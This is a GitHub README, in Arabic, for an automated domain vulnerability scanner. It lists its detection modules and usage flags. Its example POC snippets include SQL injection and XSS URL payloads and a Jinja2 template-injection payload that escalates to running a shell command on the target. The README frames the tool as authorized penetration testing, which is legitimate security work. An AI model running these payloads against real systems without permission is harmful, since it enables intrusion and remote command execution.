Skip to content

SaudiLinux/Domains

Repository files navigation

🔍 Domain Scanner - نسخة محسّنة مع POC + Zero-Day

🌟 المميزات الجديدة

✨ إثبات الثغرات (Proof of Concept)

  • عرض رابط الثغرة المباشر: كل ثغرة يتم عرض الرابط الكامل المصاب بها
  • كود POC جاهز للتشغيل: كود Python جاهز لإثبات وجود الثغرة
  • خطوات الاستغلال: شرح تفصيلي لكيفية استغلال الثغرة
  • طرق الحماية: توصيات مفصلة لإصلاح كل ثغرة

🎯 أنواع الثغرات المدعومة (12 نوع)

  1. SQL Injection - حقن قواعد البيانات
  2. XSS (Cross-Site Scripting) - البرمجة النصية عبر المواقع
  3. LFI/RFI - تضمين الملفات المحلية والبعيدة
  4. Open Redirect - إعادة التوجيه المفتوحة
  5. SSRF - تزوير الطلبات من جانب الخادم
  6. XXE - كيانات XML الخارجية
  7. CSRF - تزوير الطلبات عبر المواقع
  8. Missing Security Headers - فقدان Headers الأمان
  9. Information Disclosure - تسريب المعلومات الحساسة
  10. Exposed Backup Files - ملفات النسخ الاحتياطي المكشوفة
  11. CORS Misconfiguration - أخطاء إعدادات CORS
  12. Clickjacking - اختطاف النقرات

🚨 وحدة Zero-Day (جديدة في v3.0)

تقنيات الاكتشاف المتقدمة المستخدمة:

# التقنية الوصف
1 NVD/CVE API البحث الفوري في قاعدة بيانات الثغرات الوطنية
2 Technology Fingerprinting تحديد التقنيات والإصدارات المستخدمة
3 SSTI حقن قوالب جانب الخادم (Jinja2, Twig, FreeMarker...)
4 HTTP Request Smuggling تهريب الطلبات CL.TE / TE.CL
5 Cache Poisoning تسميم الكاش عبر Host/X-Forwarded headers
6 Host Header Injection حقن Host Header
7 CRLF Injection حقن أحرف CRLF في الردود
8 JWT Algorithm Confusion الخلط في خوارزمية JWT (alg:none / RS→HS)
9 GraphQL Introspection كشف مخطط GraphQL
10 Prototype Pollution تلوث Prototype في Node.js
11 Deserialization فحص إزالة التسلسل غير الآمنة
12 Path Normalization تجاوز التحقق عبر تطبيع المسار
13 HTTP/2 Rapid Reset CVE-2023-44487 بصمة الثغرة
14 Open API / Actuator كشف واجهات Spring Boot / Swagger
15 Sensitive Files فحص الملفات الحساسة المكشوفة

📊 أنواع التقارير

  • تقرير HTML: تقرير تفاعلي ملون مع POC كامل
  • تقرير Markdown: تقرير منسق لـ GitHub/GitLab
  • تقرير نصي: تقرير بسيط للقراءة السريعة

🚀 التثبيت

# استنساخ المشروع
git clone https://github.com/SaudiLinux/Domain
cd Domain

# تثبيت المتطلبات
pip install -r requirements.txt

# أو استخدم سكريبت التثبيت
bash install.sh

💻 الاستخدام

الاستخدام الأساسي

# فحص شامل للنطاق (يشمل Zero-Day)
python3 domain.py -d example.com --full

# فحص الثغرات الكلاسيكية فقط (مع POC)
python3 domain.py -d example.com --vulns

# فحص Zero-Day فقط
python3 domain.py -d example.com --zeroday

# فحص Zero-Day مع مفتاح NVD API (معدل استعلام أعلى)
python3 domain.py -d example.com --zeroday --nvd-key YOUR_NVD_API_KEY

# فحص محدد
python3 domain.py -d example.com --info --subdomains --vulns

خيارات متقدمة

# زيادة عدد الخيوط للسرعة
python3 domain.py -d example.com --vulns --threads 20

# تحديد ملف الإخراج
python3 domain.py -d example.com --full --output my_report

# تأخير بين الطلبات
python3 domain.py -d example.com --full --delay 0.5

# استخدام User-Agent مخصص
python3 domain.py -d example.com --vulns --user-agent "CustomBot/1.0"

# فحص Zero-Day مع خيارات متقدمة
python3 domain.py -d example.com --zeroday --threads 15 --timeout 20 --nvd-key YOUR_KEY

📋 الخيارات الكاملة

الخيارات الرئيسية:
  -d, --domain          النطاق المستهدف للفحص
  -o, --output          اسم ملف التقرير (بدون امتداد)
  -v, --verbose         تفعيل الوضع التفصيلي
  --full               تشغيل جميع وحدات الفحص (بما فيها Zero-Day)

وحدات الفحص:
  --info               جمع معلومات النطاق الأساسية
  --subdomains         تعداد النطاقات الفرعية
  --urls               اكتشاف الروابط المخفية
  --admin-finder       البحث عن صفحات الإدارة
  --attack-surface     رسم خريطة سطح الهجوم
  --vulns              فحص الثغرات الأمنية الكلاسيكية (مع POC)
  --zeroday            🆕 فحص الثغرات الصفرية والتقنيات المتقدمة

خيارات متقدمة:
  --threads NUM        عدد الخيوط (افتراضي: 10)
  --timeout SEC        مهلة الاتصال بالثواني (افتراضي: 30)
  --user-agent STR     User-Agent مخصص
  --wordlist FILE      ملف قاموس مخصص
  --delay SEC          التأخير بين الطلبات بالثواني
  --nvd-key KEY        🆕 مفتاح NIST NVD API لمعدل استعلام أعلى

📖 أمثلة على POC

مثال: SQL Injection

عند اكتشاف ثغرة SQL Injection، ستحصل على:

🔴 ثغرة مكتشفة: SQL Injection [Critical]
🔗 الرابط: https://example.com/?id=1' OR '1'='1
✓ إثبات الثغرة متاح

إثبات الثغرة (POC):
```python
import requests

url = "https://example.com/?id=1' OR '1'='1"
response = requests.get(url)

if "SQL syntax" in response.text:
    print("[+] الموقع معرض لـ SQL Injection!")
    print(f"[+] الخطأ المكتشف: SQL syntax")

مثال: XSS

🔴 ثغرة مكتشفة: Cross-Site Scripting (XSS) [High]
🔗 الرابط: https://example.com/?search=<script>alert(1)</script>
✓ إثبات الثغرة متاح

إثبات الثغرة (POC):
```python
import requests

url = "https://example.com/?search=<script>alert(1)</script>"
response = requests.get(url)

if "<script>alert(1)</script>" in response.text:
    print("[+] الموقع معرض لـ XSS!")
    print("[+] الكود المحقون يظهر في الصفحة")

مثال: SSTI (Zero-Day)

🔴 ثغرة مكتشفة: Server-Side Template Injection [Critical]
🔗 الرابط: https://example.com/?name={{7*7}}
✓ محرك القوالب: Jinja2

إثبات الثغرة (POC):
```python
import requests

url = "https://example.com/?name={{7*7}}"
response = requests.get(url)

if "49" in response.text:
    print("[+] SSTI مكتشفة! المحرك: Jinja2")
    print("[+] محاولة تنفيذ أوامر...")
    rce_url = "https://example.com/?name={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
    r2 = requests.get(rce_url)
    print(f"[+] نتيجة الأمر: {r2.text}")

📁 هيكل المشروع

Domain/
├── domain.py                    # الملف الرئيسي (النسخة القديمة)
├── domain_updated.py            # 🆕 الملف الرئيسي المحدّث (مع Zero-Day)
├── requirements.txt             # المتطلبات
├── install.sh                   # سكريبت التثبيت
├── test_scanner.py              # اختبار الأداة
├── modules/
│   ├── __init__.py
│   ├── banner.py                # عرض البانر
│   ├── utils.py                 # أدوات مساعدة
│   ├── info_gatherer.py         # جمع معلومات النطاق
│   ├── subdomain_enum.py        # تعداد النطاقات الفرعية
│   ├── url_discovery.py         # اكتشاف المسارات
│   ├── admin_finder.py          # البحث عن لوحات التحكم
│   ├── attack_surface.py        # رسم سطح الهجوم
│   ├── vulnerability_scanner.py # فحص الثغرات الكلاسيكية (محسّن مع POC)
│   ├── zeroday_scanner.py       # 🆕 وحدة Zero-Day (15 تقنية متقدمة)
│   └── report_generator.py      # توليد التقارير (محسّن)
└── results/                     # مجلد التقارير

🎨 مثال على التقرير

تقرير HTML

HTML Report

التقرير يحتوي على:

  • إحصائيات ملونة للثغرات
  • كل ثغرة بلونها حسب الخطورة
  • رابط الثغرة المباشر
  • كود POC جاهز للنسخ
  • خطوات الحل والإصلاح
  • نتائج فحص Zero-Day مع CVE IDs

⚠️ تحذير قانوني

هذه الأداة مخصصة للأغراض التعليمية واختبار الاختراق الأخلاقي فقط.

يجب عليك:

  • ✅ الحصول على إذن كتابي قبل فحص أي نطاق
  • ✅ استخدامها على أنظمتك الخاصة فقط
  • ✅ احترام القوانين المحلية والدولية

لا يجوز:

  • ❌ استخدامها لفحص مواقع بدون إذن
  • ❌ استغلال الثغرات المكتشفة لأغراض ضارة
  • ❌ مشاركة الثغرات علناً قبل إصلاحها

المطور غير مسؤول عن أي استخدام غير قانوني أو غير أخلاقي للأداة.


🔧 متطلبات النظام

  • Python 3.7+
  • نظام Linux/Unix (يعمل على Windows مع تعديلات بسيطة)
  • اتصال بالإنترنت
  • صلاحيات كافية لفحص المنافذ

📞 الدعم والمساهمة

المساهمة في المشروع

نرحب بجميع المساهمات! يمكنك:

  1. Fork المشروع
  2. إنشاء فرع جديد للميزة (git checkout -b feature/AmazingFeature)
  3. Commit التغييرات (git commit -m 'Add some AmazingFeature')
  4. Push للفرع (git push origin feature/AmazingFeature)
  5. فتح Pull Request

📜 الترخيص

هذا المشروع مرخص تحت رخصة MIT - انظر ملف LICENSE للتفاصيل.


🙏 شكر وتقدير

  • SayerLinux - المطور الأصلي
  • مجتمع الأمن السيبراني العربي
  • جميع المساهمين في المشروع
  • NIST NVD API - لقاعدة بيانات CVE الفورية

📝 سجل التغييرات

النسخة 3.0 (Zero-Day Edition)

  • 🆕 إضافة وحدة zeroday_scanner.py بـ 15 تقنية متقدمة
  • 🆕 دعم --zeroday لتشغيل وحدة Zero-Day
  • 🆕 دمج NVD/CVE API للبحث الفوري في الثغرات المعروفة
  • 🆕 خيار --nvd-key لمفتاح NIST API (معدل استعلام أعلى)
  • 🆕 كشف SSTI لمحركات قوالب متعددة (Jinja2, Twig, FreeMarker...)
  • 🆕 فحص HTTP Request Smuggling (CL.TE / TE.CL)
  • 🆕 كشف Cache Poisoning و Host Header Injection
  • 🆕 فحص JWT Algorithm Confusion و GraphQL Introspection
  • 🆕 اكتشاف Prototype Pollution و Deserialization
  • 🆕 بصمة CVE-2023-44487 (HTTP/2 Rapid Reset)
  • 🔧 تحديث domain_updated.py ليشمل [7/7] وحدة Zero-Day

النسخة 2.0 (Enhanced Edition)

  • ✨ إضافة ميزة إثبات الثغرة (POC) لجميع الثغرات
  • ✨ عرض رابط الثغرة المباشر مع كل اكتشاف
  • ✨ توليد كود Python جاهز لإثبات الثغرة
  • ✨ تحسين وحدة فحص الثغرات (12 نوع)
  • ✨ تقارير HTML محسّنة بألوان وتصميم احترافي
  • ✨ إضافة توصيات مفصلة لإصلاح كل ثغرة
  • 🔧 تحسين الأداء والسرعة
  • 🔧 إصلاح الأخطاء وتحسين الاستقرار

النسخة 1.0

  • الإصدار الأول من الأداة

صُنع بـ ❤️ من قبل SayerLinux | محسّن مع POC + Zero-Day

⬆ العودة للأعلى

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors